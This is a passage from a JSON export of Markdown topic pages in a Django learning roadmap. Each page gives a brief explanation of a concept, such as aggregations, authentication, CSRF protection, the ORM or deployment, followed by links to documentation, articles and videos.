    "content": "# Aggregations\n\nAggregations in Django allow you to summarize data from multiple objects in your database. They compute a single summary value (like average, sum, or count) for a group of objects. Unlike annotations, which add a field to each object in a queryset, aggregations return a single value for the entire queryset. So, annotations add extra data to each item, while aggregations give you a summary of the whole collection.\n\nVisit the following resources to learn more:\n\n- [@official@Aggregation](https://docs.djangoproject.com/en/6.0/topics/db/aggregation/)\n- [@article@QuerySets and aggregations in Django](https://blog.logrocket.com/querysets-and-aggregations-in-django/)\n- [@article@Django Annotate and aggregate explained](https://coffeebytes.dev/en/django/django-annotate-and-aggregate-explained/)\n- [@video@Django Aggregation & Annotation / values() and values_list() functions](https://www.youtube.com/watch?v=LEsmHKZLsBI)"
  },
  {
    "path": "src/data/roadmaps/django/content/asynchronous-django@8AuyffbXskd8jltqyJVer.md",
    "content": "# Asynchronous Django\n\nAsynchronous programming allows a program to execute multiple tasks seemingly at the same time without waiting for each task to complete before starting the next. Instead of blocking and waiting, the program can switch between tasks as needed, improving efficiency. In Django, this is achieved using tools like `async` and `await` keywords in Python, along with asynchronous views and middleware, enabling the application to handle more requests concurrently and reduce response times, especially for tasks involving I/O operations like database queries or external API calls.\n\nVisit the following resources to learn more:\n\n- [@official@Asynchronous support](https://docs.djangoproject.com/en/6.0/topics/async/)\n- [@article@Unlocking Performance: A Guide to Async Support in Django](https://dev.to/pragativerma18/unlocking-performance-a-guide-to-async-support-in-django-2jdj)\n- [@article@Running tasks concurrently in Django asynchronous views](https://fly.io/django-beats/running-tasks-concurrently-in-django-asynchronous-views/)\n- [@video@Introduction to async views in Django | async/await in Django views](https://www.youtube.com/watch?v=YneIutRhmgo)"
  },
  {
    "path": "src/data/roadmaps/django/content/authentication@k2P3gilbLJ7tjbLhBym_m.md",
    "content": "# Authentication\n\nAuthentication is the process of verifying the identity of a user, device, or other entity attempting to access a system or resource. It confirms that someone or something is who or what they claim to be, typically by checking credentials like usernames and passwords against a stored database. Successful authentication grants access, while failure denies it.\n\nVisit the following resources to learn more:\n\n- [@official@User authentication in Django](https://docs.djangoproject.com/en/6.0/topics/auth/)\n- [@article@Django Tutorial Part 8: User authentication and permissions](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Server-side/Django/Authentication)\n- [@article@Getting Started with Django 2024:Authentication and Authorization [Part 8/16]](https://medium.com/@mathur.danduprolu/django-getting-started-with-django-2024-authentication-and-authorization-part-8-16-7bf55d1f7570)\n- [@article@Django Authentication Made Easy: A Complete Guide to Registration, Login, and User Management](https://dev.to/ebereplenty/django-authentication-made-easy-a-complete-guide-to-registration-login-and-user-management-2jih)\n- [@video@Login With User Authentication - Django Wednesdays #21](https://www.youtube.com/watch?v=CTrVDi3tt8o)\n- [@video@Django Authentication & User Management - Full Tutorial](https://www.youtube.com/watch?v=WuyKxdLcw3w)"
  },
  {
    "path": "src/data/roadmaps/django/content/authorization@8-LeguN1r6pLVGvBbwzPZ.md",
    "content": "# Authorization\n\nAuthorization is the process of determining whether a user has permission to access a specific resource or perform a particular action. It focuses on verifying what an authenticated user is allowed to do within a system, ensuring that they only have access to the resources and functionalities they are entitled to. This is distinct from authentication, which confirms the user's identity.\n\nVisit the following resources to learn more:\n\n- [@official@Permissions and Authorization¶](https://docs.djangoproject.com/en/6.0/topics/auth/default/#topic-authorization)\n- [@article@Django Tutorial Part 8: User authentication and permissions](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Server-side/Django/Authentication)\n- [@video@Python Django User Authorization tutorial](https://www.youtube.com/watch?v=4Ba8AtSwJwg)"
  },
  {
    "path": "src/data/roadmaps/django/content/background-tasks@x19j7d1jd_uFhy85w71i0.md",
    "content": "# Background Tasks\n\nBackground tasks in Django are processes that run independently of the main web application, without blocking user requests. They are useful for handling time-consuming or resource-intensive operations like sending emails, processing large datasets, or generating reports. By offloading these tasks to the background, the web application remains responsive and provides a better user experience.\n\nVisit the following resources to learn more:\n\n- [@official@Django’s Tasks framework](https://docs.djangoproject.com/en/6.0/topics/tasks/)\n- [@video@Background tasks in Django | How to create tasks in the background in Django - Quick & easy](https://www.youtube.com/watch?v=PUT29lvDFco)\n- [@video@Intro to Background Tasks in Django With Celery](https://www.youtube.com/watch?v=y6FG-kKhGwA)"
  },
  {
    "path": "src/data/roadmaps/django/content/built-in-user-model@SEEiAOOxLGUaZi3wYncUm.md",
    "content": "# Built-in User Model\n\nDjango provides a default user model that handles common authentication tasks like user registration, login, and permission management. This model includes fields like username, password, email, first name, and last name, and it offers methods for password hashing and user authorization. It serves as a foundation for managing users in your Django project, and can be customized or extended to fit specific application requirements.\n\nVisit the following resources to learn more:\n\n- [@official@User model](https://docs.djangoproject.com/en/6.0/ref/contrib/auth/)\n- [@article@How to Get the User Model in Django – A Simple Guide With Examples](https://www.freecodecamp.org/news/how-to-get-user-model-in-django/)\n- [@article@User Models](https://d-libro.com/topic/user-models/)"
  },
  {
    "path": "src/data/roadmaps/django/content/caching@UDpTybashBHcy2S-oooww.md",
    "content": "# Caching\n\nCaching is a technique to store frequently accessed data in a temporary storage location (the cache) to speed up retrieval in the future. When data is requested, the system first checks the cache. If the data is present (a \"cache hit\"), it's served directly from the cache, avoiding the slower process of fetching it from the original source (like a database). If the data isn't in the cache (a \"cache miss\"), it's retrieved from the original source, stored in the cache, and then served to the user. This reduces latency and improves application performance.\n\nVisit the following resources to learn more:\n\n- [@official@Django’s cache framework](https://docs.djangoproject.com/en/6.0/topics/cache/)\n- [@article@Django Caching 101: Understanding the Basics and Beyond](https://dev.to/pragativerma18/django-caching-101-understanding-the-basics-and-beyond-49p)\n- [@article@Django Cache Examples with a Complete Project](https://medium.com/django-unleashed/django-cache-examples-with-a-complete-project-7307322756e2)\n- [@video@Caching with Redis and Django!](https://www.youtube.com/watch?v=5W2Yff00H8s)"
  },
  {
    "path": "src/data/roadmaps/django/content/class-based-views@49YSIjTsb6Lnv39AukGrD.md",
    "content": "# Class-Based Views\n\nClass-based views (CBVs) in Django are an alternative way to implement views using Python classes instead of functions. They provide a structured and reusable approach to handling common view logic, promoting code organization and reducing redundancy. CBVs leverage inheritance and mixins to offer a more object-oriented way to define views, making them easier to extend and customize.\n\nVisit the following resources to learn more:\n\n- [@official@Class-based views](https://docs.djangoproject.com/en/6.0/topics/class-based-views/)\n- [@article@What Are Django Class-Based Views (CBVs) & its Advantages in 2024](https://www.horilla.com/blogs/what-are-django-class-based-views-cbvs-and-its-advantages/)\n- [@video@What are Django class based views & should you use them?](https://www.youtube.com/watch?v=RE0HlKch_3U)\n- [@video@Learn Django Class-Based Views - Using TemplateView - theory and examples](https://www.youtube.com/watch?v=GxA2I-n8NR8&list=PLOLrQ9Pn6caxNb9eFZJ6LfY29nZkKmmXT)"
  },
  {
    "path": "src/data/roadmaps/django/content/comments@TXhI0IHDH6a4_vNyCDEYH.md",
    "content": "# Comments in Django Templates\n\nComments in Django Template Language (DTL) allow developers to embed explanatory notes or temporarily disable sections of template code without affecting the rendered output. These comments are not visible to the end-user in the final HTML. They are useful for documenting the purpose of specific template logic, debugging, or experimenting with different template structures.\n\nVisit the following resources to learn more:\n\n- [@official@comments](https://docs.djangoproject.com/en/6.0/ref/templates/builtins/#comment)\n- [@article@Django comment Tag](https://www.w3schools.com/django/django_tags_comment.php)"
  },
  {
    "path": "src/data/roadmaps/django/content/create-update-delete@_2hoRFibz8dYBPhHJX8NW.md",
    "content": "# Create, Update, Delete Operations in Django ORM\n\nThe Django ORM (Object-Relational Mapper) provides a high-level interface for interacting with databases. It allows you to perform CRUD (Create, Read, Update, Delete) operations on your database tables using Python code instead of writing raw SQL queries. This simplifies database interactions and makes your code more maintainable.\n\nVisit the following resources to learn more:\n\n- [@official@Making Queries](https://docs.djangoproject.com/en/6.0/topics/db/queries/#retrieving-objects)\n- [@article@Django update_or_create() | With Project](https://medium.com/@KaziMushfiq1234/django-update-or-create-with-project-fdb8feb8450d)\n- [@article@Django Insert Data](https://www.w3schools.com/django/django_insert_data.php)\n- [@article@Django Update Data](https://www.w3schools.com/django/django_update_data.php)\n- [@article@Django Delete Data](https://www.w3schools.com/django/django_delete_data.php)"
  },
  {
    "path": "src/data/roadmaps/django/content/createview@osfekQvv2IjQir8xG7Jqn.md",
    "content": "# CreateView\n\n`CreateView` is a powerful generic class-based view in Django that simplifies the process of creating new objects in your database. It handles displaying a form for creating the object, validating the submitted data, and saving the new object to the database if the data is valid. It's designed to reduce boilerplate code when you need to create model instances through a web interface.\n\nVisit the following resources to learn more:\n\n- [@official@CreateView](https://docs.djangoproject.com/en/6.0/ref/class-based-views/generic-editing/#django.views.generic.edit.CreateView)\n- [@article@Django Class Based Views(CreateView)](https://medium.com/@hellenwain_54279/django-class-based-views-createview-b7c7ead3085)\n- [@article@Learn Django Class Based Views - CreateView - Theory and Examples](https://www.youtube.com/watch?v=nW-srV0kKKk)\n- [@video@Learn Django Class Based Views - CreateView - Theory and Examples](https://www.youtube.com/watch?v=dOG-aRADaD8)"
  },
  {
    "path": "src/data/roadmaps/django/content/csrf@_JaSWTa-VufNB0-6NH5KL.md",
    "content": "# CSRF\n\nCSRF (Cross-Site Request Forgery) is a web security vulnerability where a malicious website tricks a user's browser into performing actions on a trusted site without the user's knowledge. In Django forms, CSRF protection works by including a unique, secret token in each form. When the form is submitted, Django verifies that this token matches the one stored in the user's session. If they don't match, the request is rejected, preventing the attacker from forging requests.\n\nVisit the following resources to learn more:\n\n- [@official@Cross Site Request Forgery protection](https://docs.djangoproject.com/en/6.0/ref/csrf/)\n- [@official@How to use Django’s CSRF protection](https://docs.djangoproject.com/en/6.0/howto/csrf/)\n- [@article@Django CSRF Protection Guide: Examples and How to Enable](https://www.stackhawk.com/blog/django-csrf-protection-guide/)\n- [@video@What Is CSRF Token In Django and Why Is It Used?](https://www.youtube.com/watch?v=iJmezMBJqEs)\n- [@video@Django - AJAX Requests, HTMX & CSRF Tokens](https://www.youtube.com/watch?v=lc1sOvRaFpg)"
  },
  {
    "path": "src/data/roadmaps/django/content/custom-fields@7dV6o6DnKkv6TX7KCbnzC.md",
    "content": "# Custom Fields\n\nCustom fields in Django allow you to define your own field types beyond the standard ones provided by Django, such as CharField, IntegerField, and DateTimeField. This is useful when you need to store data in a specific format or require specialized validation logic that isn't covered by the built-in field types. By creating custom fields, you can seamlessly integrate your unique data requirements into your Django models.\n\nVisit the following resources to learn more:\n\n- [@official@How to create custom model fields](https://docs.djangoproject.com/en/6.0/howto/custom-model-fields/)\n- [@article@Django: using custom classes for model fields](https://medium.com/@luccascorrea/django-using-custom-classes-for-model-fields-38e58914ba5c)\n- [@article@How to Create Custom Model Fields in Django [2024]](https://www.horilla.com/blogs/how-to-create-custom-model-fields-in-django/)\n- [@video@Django ORM - Creating a Custom field Subclass](https://www.youtube.com/watch?v=b10NxZ7JEjE)\n- [@video@Django ORM - Introducing Custom Model Fields](https://www.youtube.com/watch?v=pJXKTcYo3ls)"
  },
  {
    "path": "src/data/roadmaps/django/content/custom-user-model@F0OPk3bIoeXhIRthKg9MD.md",
    "content": "# Custom User Model\n\nA custom user model in Django allows developers to define their own user model instead of using the default Django user model. This provides flexibility to include additional fields or methods tailored to the specific requirements of an application, such as storing extra profile information or implementing custom authentication logic. By creating a custom user model, you gain full control over the user representation within your Django project.\n\nVisit the following resources to learn more:\n\n- [@official@Customizing authentication in Django¶](https://docs.djangoproject.com/en/6.0/topics/auth/customizing/)\n- [@article@Creating a Custom User Model in Django](https://testdriven.io/blog/django-custom-user-model/)\n- [@video@Learn Django - Build a Custom User Model with Extended Fields](https://www.youtube.com/watch?v=Ae7nc1EGv-A)"
  },
  {
    "path": "src/data/roadmaps/django/content/customization@oCxrIu2UfV6loYn8ncaLu.md",
    "content": "# Custom Middleware\n\nMiddleware in Django is a framework of hooks into Django's request/response processing. It's a way to modify the incoming request or outgoing response at various points in the process. Customization allows developers to create their own middleware components to handle specific tasks, such as request logging, authentication checks, or modifying response headers, tailoring the framework to their application's unique needs.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Django Middleware: How to Create Custom Middleware](https://medium.com/@farad.dev/understanding-django-middleware-how-to-create-custom-middleware-789744722df3)\n- [@article@A Comprehensive Guide to Django Middleware](https://www.datree.io/resources/guide-to-django-middleware#anchor5)\n- [@video@Django Custom Middleware - Tutorial With Examples](https://www.youtube.com/watch?v=ELOgWKQpxB8)\n- [@video@Writing Django Middleware (with tests!) | HTMX middleware | IP Blacklist middleware](https://www.youtube.com/watch?v=--ddZc39wVQ)"
  },
  {
    "path": "src/data/roadmaps/django/content/customizing-views@eQaN3y7cQgOcQ1BstNV-4.md",
    "content": "# Customizing Views\n\nCustomizing views in Django involves modifying the default behavior of view functions or classes to suit specific application needs. This can include adding extra context data, altering the template used for rendering, or overriding methods in class-based views to change how they handle requests and responses. Customization allows developers to tailor the view logic to precisely match the requirements of different features and functionalities within a Django project.\n\nVisit the following resources to learn more:\n\n- [@official@View decorators](https://docs.djangoproject.com/en/6.0/topics/http/decorators/)\n- [@article@An Introduction to Django Views](https://blog.jetbrains.com/pycharm/2025/01/django-views/)\n- [@article@Customising Django’s Class-based view.](https://medium.com/@krystianmaccs_66962/customising-djangos-class-based-view-e2ed0312a037)\n- [@video@How to Create Custom Views in Python Django | Step-by-Step Tutorial](https://www.youtube.com/watch?v=ZigbVn5gKZA)"
  },
  {
    "path": "src/data/roadmaps/django/content/debug_toolbar@OSkwgXDOhm6oyk_VlUbUc.md",
    "content": "# Django Debug Toolbar\n\nThe Django Debug Toolbar is a powerful set of panels that display various debugging information about the current request and response. It appears as a collapsible toolbar in your browser when you're developing a Django application. This toolbar provides insights into database queries, template rendering, settings, headers, static files, and more, helping developers identify and resolve performance bottlenecks and other issues quickly.\n\nVisit the following resources to learn more:\n\n- [@official@Django Debug Toolbar](https://django-debug-toolbar.readthedocs.io/en/latest/)\n- [@opensource@debug_toolbar](https://github.com/django-commons/django-debug-toolbar)\n- [@article@Django Debug Toolbar: Configuration and Overview](https://medium.com/@hmbarotov/django-debug-toolbar-configuration-and-overview-97dbe8279279)\n- [@video@Django Debug Toolbar - A Tool to Help You With Your Django Projects](https://www.youtube.com/watch?v=H-vLUoXKKIs)\n- [@video@Mastering Django Debug Toolbar: Efficient Debugging and Optimization Techniques](https://www.youtube.com/watch?v=c5riXBYFxLk)"
  },
  {
    "path": "src/data/roadmaps/django/content/debugging@x45F-FdQOch35hZqNMfIn.md",
    "content": "# Debugging\n\nDebugging in Django involves identifying and fixing errors in your code. When your Django application isn't working as expected, debugging helps you understand why. This process typically involves using tools and techniques to inspect your code's behavior, examine variables, and trace the flow of execution to pinpoint the source of the problem and resolve it.\n\nVisit the following resources to learn more:\n\n- [@official@DEBUG Mode](https://docs.djangoproject.com/en/6.0/ref/settings/#std-setting-DEBUG)\n- [@article@Writing your first Django app, part 8¶](https://docs.djangoproject.com/en/6.0/intro/tutorial08/)\n- [@article@Mastering Django debugging: a complete guide](https://www.aubergine.co/insights/mastering-django-debugging-a-complete-guide)\n- [@video@How To Debug a Django Application in VS CODE (Visual Studio Code)](https://www.youtube.com/watch?v=spmFjhQIKOo)"
  },
  {
    "path": "src/data/roadmaps/django/content/deleteview@RpvuHOwFN03aeY3hvt1N0.md",
    "content": "# DeleteView\n\n`DeleteView` in Django is a pre-built class-based view designed to handle the deletion of a specific object from your database. It provides a structured way to present a confirmation page to the user, process the deletion upon confirmation, and then redirect the user to another page. This simplifies the process of creating views that handle object deletion, reducing boilerplate code.\n\nVisit the following resources to learn more:\n\n- [@official@DeleteView](https://docs.djangoproject.com/en/6.0/ref/class-based-views/generic-editing/#django.views.generic.edit.DeleteView)\n- [@article@Django DeleteView](https://www.pythontutorial.net/django-tutorial/django-deleteview/)\n- [@article@Try DJANGO Tutorial - 39 - Class Based Views - DeleteView](https://www.youtube.com/watch?v=a718ii0Lf6M)"
  },
  {
    "path": "src/data/roadmaps/django/content/deployment@jnR93iiFLqqpahhqq4w8-.md",
    "content": "# Deployment\n\nDeployment is the process of making your Django project accessible to users on the internet. This involves transferring your code, database, and other assets to a server, configuring the server to run your application, and ensuring that it can handle incoming requests. It's the final step in the development lifecycle, allowing users to interact with your Django application.\n\nVisit the following resources to learn more:\n\n- [@official@How to deploy Django](https://docs.djangoproject.com/en/6.0/howto/deployment/)\n- [@article@Django Tutorial Part 11: Deploying Django to production](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Server-side/Django/Deployment)\n- [@video@Python Django Tutorial: Deploying Your Application (Option #1) - Deploy to a Linux Server](https://www.youtube.com/watch?v=Sa_kQheCnds)\n- [@video@The 4 best ways to deploy a Django application](https://www.youtube.com/watch?v=IoxHUrbiqUo)"
  },
  {
    "path": "src/data/roadmaps/django/content/detailview@D8vZfjzzt3gPda-6iF5Y4.md",
    "content": "# DetailView\n\nDetailView is a pre-built class-based view in Django that simplifies the process of displaying the details of a single object. It automatically fetches an object from the database based on a provided lookup (typically a primary key or slug) and renders it using a specified template. This eliminates the need to write repetitive code for common detail view scenarios.\n\nVisit the following resources to learn more:\n\n- [@official@DetailView](https://docs.djangoproject.com/en/6.0/ref/class-based-views/generic-display/#detailview)\n- [@article@Django DetailView](https://www.pythontutorial.net/django-tutorial/django-detailview/)\n- [@article@Django Tutorial Part 6: Generic list and detail views](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Server-side/Django/Generic_views)\n- [@video@Django 2 for Beginners #23 DetailView](https://www.youtube.com/watch?v=IkqsW8slOO0)\n- [@video@Django Full Course - 20.1 - Class Based Views. Built-in generic views (ListView, DetailView)](https://www.youtube.com/watch?v=SCvFhXNVVvs)"
  },
  {
    "path": "src/data/roadmaps/django/content/django--rest-framework@ultPpF8Lpqry-SdAbNCB1.md",
    "content": "# Django REST Framework\n\nDjango REST Framework is a powerful and flexible toolkit for building Web APIs. It provides a set of tools and libraries that simplify the process of creating RESTful APIs with Django, handling tasks like request parsing, serialization, authentication, and permissioning. It allows developers to easily expose Django models and data through well-defined API endpoints.\n\nVisit the following resources to learn more:\n\n- [@official@Django REST framework](https://www.django-rest-framework.org/)\n- [@opensource@django-rest-framework](https://github.com/encode/django-rest-framework)\n- [@article@Django REST Framework Basics](https://testdriven.io/blog/drf-basics/)\n- [@article@Setting Up a Django API with Django REST Framework (DRF): A Beginner’s Guide](https://medium.com/@michal.drozdze/setting-up-a-django-api-with-django-rest-framework-drf-a-beginners-guide-cee5d61f00a6)\n- [@video@Django REST Framework Oversimplified](https://www.youtube.com/watch?v=cJveiktaOSQ)\n- [@video@Django REST Framework - API Development with Django](https://www.youtube.com/playlist?list=PL-2EBeDYMIbTLulc9FSoAXhbmXpLq2l5t)"
  },
  {
    "path": "src/data/roadmaps/django/content/django-admin@Voo8COgeTLD-607m793gh.md",
    "content": "# Django Admin\n\nDjango Admin is a built-in interface in Django that allows you to easily manage your application's data. It provides a user-friendly way to create, read, update, and delete (CRUD) records in your database tables through an automatically generated web interface, based on your models. This eliminates the need to build custom admin panels from scratch.\n\nVisit the following resources to learn more:\n\n- [@official@The Django admin site](https://docs.djangoproject.com/en/6.0/ref/contrib/admin/)\n- [@official@django-admin and manage.py](https://docs.djangoproject.com/en/6.0/ref/django-admin/)\n- [@article@Django Tutorial Part 4: Django admin site](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Server-side/Django/Admin_site)\n- [@article@How to Set Up A Django Admin Site](https://www.freecodecamp.org/news/how-to-set-up-a-django-admin-site/)\n- [@video@Python Django Admin tutorial](https://www.youtube.com/watch?v=4tiSmL4JmS0)\n- [@video@Learn Django - Admin](https://www.youtube.com/playlist?list=PLOLrQ9Pn6cazhaxNDhcOIPYXt2zZhAXKO)"
  },
  {
    "path": "src/data/roadmaps/django/content/django-allauth@YKyWtsxm1HcVsA56iyEOJ.md",
    "content": "# Django-allauth\n\nDjango-allauth is a reusable Django app that provides comprehensive social authentication, registration, account management, as well as local username/password authentication. It simplifies the process of integrating various authentication providers (like Google, Facebook, Twitter, etc.) into your Django project, handling the complexities of OAuth and other authentication protocols. It also offers features like email verification, password reset, and account linking.\n\nVisit the following resources to learn more:\n\n- [@official@django-allauth](https://allauth.org/)\n- [@official@django-allauth Docs](https://docs.allauth.org/en/latest/)\n- [@article@Django-allauth Tutorial](https://learndjango.com/tutorials/django-allauth-tutorial)\n- [@video@django-allauth - Deep Dive!](https://www.youtube.com/watch?v=nmj7ThneEnc&list=PL-2EBeDYMIbQqZZoo5Dj8YAkPnZeJfcZS)"
  },
  {
    "path": "src/data/roadmaps/django/content/django-for-frontend@vbLOUveBUO9BYzOhHwhod.md",
    "content": "# Django for Frontend\n\nDjango, primarily known as a backend framework, can also be used to serve frontend content. While Django excels at handling data and server-side logic, it can also deliver HTML, CSS, and JavaScript files to the user's browser, effectively acting as the frontend server. This approach allows developers to build complete web applications using a single framework, streamlining development and deployment."
  },
  {
    "path": "src/data/roadmaps/django/content/django-forms@jhMYTiVacTLeatfAjAnPJ.md",
    "content": "# Django Forms Validation\n\nForm validation in Django involves verifying that the data submitted by a user through a form meets specific requirements before it's processed and saved. This ensures data integrity and prevents errors by checking for things like required fields, correct data types, valid ranges, and unique values. Django provides built-in tools and mechanisms to define and execute these validation rules, making it easier to create robust and reliable forms.\n\nVisit the following resources to learn more:\n\n- [@official@Working with forms](https://docs.djangoproject.com/en/6.0/topics/forms/)\n- [@article@Django Tutorial Part 9: Working with forms](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Server-side/Django/Forms#overview)\n- [@video@Python Django Forms tutorial](https://www.youtube.com/watch?v=GQKKjrdS6pc)\n- [@video@Django Forms Full Course](https://www.youtube.com/watch?v=pLMH_wzyTjk&list=PLaUQIPIyD0z43DiRKM0x8YNEB-1QNCOwR)"
  },
  {
    "path": "src/data/roadmaps/django/content/django-ninja@B86paKhwiZsM5XP-V-AE8.md",
    "content": "# Django Ninja\n\nDjango Ninja is a web framework for building APIs with Django and Python 3.7+ with type hints. It focuses on providing a fast and efficient way to create REST APIs using standard Python type annotations for request validation, serialization, and documentation generation. It simplifies API development by automating many of the common tasks, such as input validation and output serialization, while also providing automatic OpenAPI schema generation.\n\nVisit the following resources to learn more:\n\n- [@official@Django Ninja](https://django-ninja.dev/)\n- [@official@First Steps](https://django-ninja.dev/tutorial/)\n- [@opensource@django-ninja](https://github.com/vitalik/django-ninja)\n- [@video@Django-Ninja APIs - Modern API Development in Django](https://www.youtube.com/watch?v=XqkqbsdtoMI)\n- [@video@Django Ninja - The new DRF killer?! 🥷](https://www.youtube.com/watch?v=J44FpJ2CYnU)"
  },
  {
    "path": "src/data/roadmaps/django/content/django-orm@GQqNJQ3FkO-kBM8WYVBmn.md",
    "content": "# Django ORM\n\nThe Django ORM (Object-Relational Mapper) is a powerful tool that enables developers to interact with databases using Python code, eliminating the need to write raw SQL queries. It acts as an abstraction layer, translating Python objects into database queries and vice versa, simplifying database operations within a Django project. This enables developers to define database schemas using Python classes (models) and perform common database tasks like creating, reading, updating, and deleting data through a high-level API.\n\nVisit the following resources to learn more:\n\n- [@official@Making queries](https://docs.djangoproject.com/en/6.0/topics/db/queries/)\n- [@article@An introduction to the Django ORM](https://opensource.com/article/17/11/django-orm)\n- [@article@Understanding Django ORM (Object-Relational Mapping)](https://medium.com/django-unleashed/understanding-django-orm-object-relational-mapping-16f3c29db7d7)\n- [@video@Django ORM Deep Dive](https://www.youtube.com/watch?v=EsBqIZmR2Uc&list=PL-2EBeDYMIbQXKsyNweppuFptuogJe2L-)\n- [@video@DJ101 | Django Database ORM Mastery Course](https://www.youtube.com/playlist?list=PLOLrQ9Pn6cayYycbeBdxHUFrzTqrNE7Pe)"
  },
  {
    "path": "src/data/roadmaps/django/content/django-shell@R4-oE2zFnwxvF05u5DYV4.md",
    "content": "# Django Shell\n\nThe Django Shell is an interactive Python interpreter that provides direct access to your Django project's models, database, and settings. It allows you to test code snippets, query data, and perform administrative tasks without needing to run your entire application. It's essentially a command-line environment pre-configured with your Django project's settings and models.\n\nVisit the following resources to learn more:\n\n- [@official@django-admin and manage.py](https://docs.djangoproject.com/en/6.0/ref/django-admin/)\n- [@article@Useful Features of the Django Shell](https://www.nickmccullum.com/useful-features-django-shell/)\n- [@article@Django Models and Shell](https://medium.com/@ksarthak4ever/django-models-and-shell-8c48963d83a3)"
  },
  {
    "path": "src/data/roadmaps/django/content/django-test-framework@HD_-WR69-8f7uhiS0YwYP.md",
    "content": "# Django Test Framework\n\nThe Django test framework provides a structured environment for writing and running tests for Django applications. It includes tools for creating test cases, running tests, and asserting expected outcomes, ensuring that your code functions as intended and remains reliable as your project evolves. It allows developers to write unit tests, integration tests, and other types of tests to verify the correctness of their Django projects.\n\nVisit the following resources to learn more:\n\n- [@official@Testing in Django](https://docs.djangoproject.com/en/6.0/topics/testing/)\n- [@official@Writing and running tests](https://docs.djangoproject.com/en/6.0/topics/testing/overview/)\n- [@article@Django Tutorial Part 10: Testing a Django web application](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Server-side/Django/Testing)\n- [@video@Django Testing Tutorial - How To Test Your Django Applications](https://www.youtube.com/watch?v=qwypH3YvMKc&list=PLbpAWbHbi5rMF2j5n6imm0enrSD9eQUaM)"
  },
  {
    "path": "src/data/roadmaps/django/content/django_silk@i8me37ZwzObjy1-JbrRjf.md",
    "content": "# django-silk\n\ndjango-silk is a powerful profiling and inspection tool designed for the Django framework. It intercepts and stores HTTP requests and database query data, providing a real-time view of your application's performance. This allows developers to pinpoint bottlenecks and optimize code for improved efficiency.\n\nVisit the following resources to learn more:\n\n- [@official@Django Silk Docs](https://silk.readthedocs.io/en/latest/)\n- [@opensource@django-silk](https://github.com/jazzband/django-silk)\n- [@article@Profiling Django application using django-silk.](https://medium.com/@sharif-42/profiling-django-application-using-django-silk-62cdea83fb83)\n- [@video@django-silk for Profiling and Optimization with Django REST Framework](https://www.youtube.com/watch?v=OG8alXR4bEs)"
  },
  {
    "path": "src/data/roadmaps/django/content/dtl-syntax@yla_7mhlkfxvI_YZ5Zikm.md",
    "content": "# DTL Syntax\n\nThe Django Template Language (DTL) syntax defines how dynamic content and logic are embedded within HTML templates. It uses tags, variables, and filters to render data from the Django backend into the final HTML output displayed to the user. These elements allow developers to create dynamic web pages by inserting data, performing simple logic, and controlling the structure of the template.\n\nVisit the following resources to learn more:\n\n- [@official@The Django template language](https://docs.djangoproject.com/en/6.0/ref/templates/language/)\n- [@article@Django - Template System](https://www.tutorialspoint.com/django/django_template_system.htm)\n- [@video@#5 Django tutorials | Django Template Language | DTL](https://www.youtube.com/watch?v=GNlIe5zvBeQ)"
  },
  {
    "path": "src/data/roadmaps/django/content/error-pages@mxo_Wwx0To8CaOxBMSQyI.md",
    "content": "# Error Pages\n\nError pages in Django are what users see when something goes wrong with your website. Instead of a confusing or blank screen, Django can display informative pages that explain the error. These pages can show technical details helpful for developers during debugging, like the traceback (the sequence of function calls that led to the error) and the values of variables at the time of the error. You can also customize these pages to provide a more user-friendly experience, offering solutions or guidance to users who encounter problems.\n\nVisit the following resources to learn more:\n\n- [@official@Error Views](https://docs.djangoproject.com/en/6.0/ref/views/#error-views)\n- [@article@Django 404 (page not found)](https://www.w3schools.com/django/django_404.php)\n- [@article@Python Django Handling Custom Error Page](https://medium.com/@yildirimabdrhm/python-django-handling-custom-error-page-807087352bea)\n- [@video@Django Full Course - 10.0 - Writing views. Basics, errors, custom error views](https://www.youtube.com/watch?v=4HztW_RlLRo)"
  },
  {
    "path": "src/data/roadmaps/django/content/field-options@j4P7KBtfwdGSX0ga0BgpV.md",
    "content": "# Field Options in Django Models\n\nField options are attributes you can define within a Django model's field to control its behavior and characteristics. These options allow you to specify constraints, default values, validation rules, and other metadata for each field, influencing how data is stored, displayed, and handled within your application. They provide a way to customize the fields to meet the specific requirements of your data and application logic.\n\nVisit the following resources to learn more:\n\n- [@official@Field options](https://docs.djangoproject.com/en/6.0/topics/db/models/#field-options)\n- [@official@Field options](https://docs.djangoproject.com/en/6.0/ref/models/fields/#field-options)\n- [@article@Django model fields options](https://swesadiqul.medium.com/django-model-fields-options-8f3651dade6a)\n- [@video@Field types and options in Django models](https://www.youtube.com/watch?v=u7MJxv_P2Pk)"
  },
  {
    "path": "src/data/roadmaps/django/content/fields-types@CX-9Ii3e9rrokUTF0_hI5.md",
    "content": "# Model Field Types\n\nModel field types define the kind of data a field in your Django model can hold, such as text, numbers, dates, or relationships to other models. Each field type corresponds to a specific data type in the database and provides built-in validation and form handling. Choosing the right field type is crucial for data integrity and efficient database storage.\n\nVisit the following resources to learn more:\n\n- [@official@Fields](https://docs.djangoproject.com/en/6.0/topics/db/models/#fields)\n- [@official@Model field reference](https://docs.djangoproject.com/en/6.0/ref/models/fields/)\n- [@article@Django Model Fields – Common Use Cases and How They Work](https://www.freecodecamp.org/news/common-django-model-fields-and-their-use-cases/)\n- [@article@What are the Different Field Types in Django?](https://www.horilla.com/blogs/what-are-the-different-field-types-in-django/)\n- [@video@Field types and options in Django models](https://www.youtube.com/watch?v=u7MJxv_P2Pk)\n- [@video@Django Full Course - 1.0 - Introduction to models. Fields and field types](https://www.youtube.com/watch?v=1danN1DTzFI)"
  },
  {
    "path": "src/data/roadmaps/django/content/filtering--lookups@LDajzTC8AKD-13JVtL0Tk.md",
